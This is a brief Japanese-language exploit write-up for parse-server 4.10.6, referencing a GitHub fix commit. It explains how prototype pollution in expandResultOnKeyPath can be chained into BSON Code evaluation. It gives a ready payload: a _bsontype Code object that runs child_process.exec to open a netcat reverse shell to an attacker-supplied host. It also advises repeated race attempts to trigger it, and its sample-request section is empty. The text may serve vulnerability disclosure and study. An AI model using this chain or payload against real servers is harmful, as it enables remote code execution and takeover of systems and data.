



https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d

expandResultOnKeyPath 関数で発生します。DatabaseController.js
sanitizeDatabaseResult
-> expandResultOnKeyPath
sanitizeDatabaseResult は、新しいクラスの add および update 時に使用されます。ただし、プロトタイプ汚染を成立させるには、keyUpdate の __op が ['Add', 'AddUnique', 'Remove', 'Increment'] に含まれるという条件を満たす必要があります。
したがって、プロトタイプの値は array または number のみとなります。


サンプルリクエスト:

serialize されます。_bsontype が Code の場合、serializeCode が実行されます。
parse-server-4.10.6/node_modules/bson/lib/bson/parser/serializer.js:762



プロトタイプ汚染を使用して options['evalFunctions'] を汚染し、isolateEval 関数までバイパスします。
ペイロードサンプル
"_bsontype":"Code","code":"asdasd;require('child_process').exec('rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f')"
expandResultOnKeyPath 関数の実行フローはデシリアライズ後に行われるため、isolateEval に到達したときにトリガーできるよう、継続的にレースコンディションを実行する必要があります。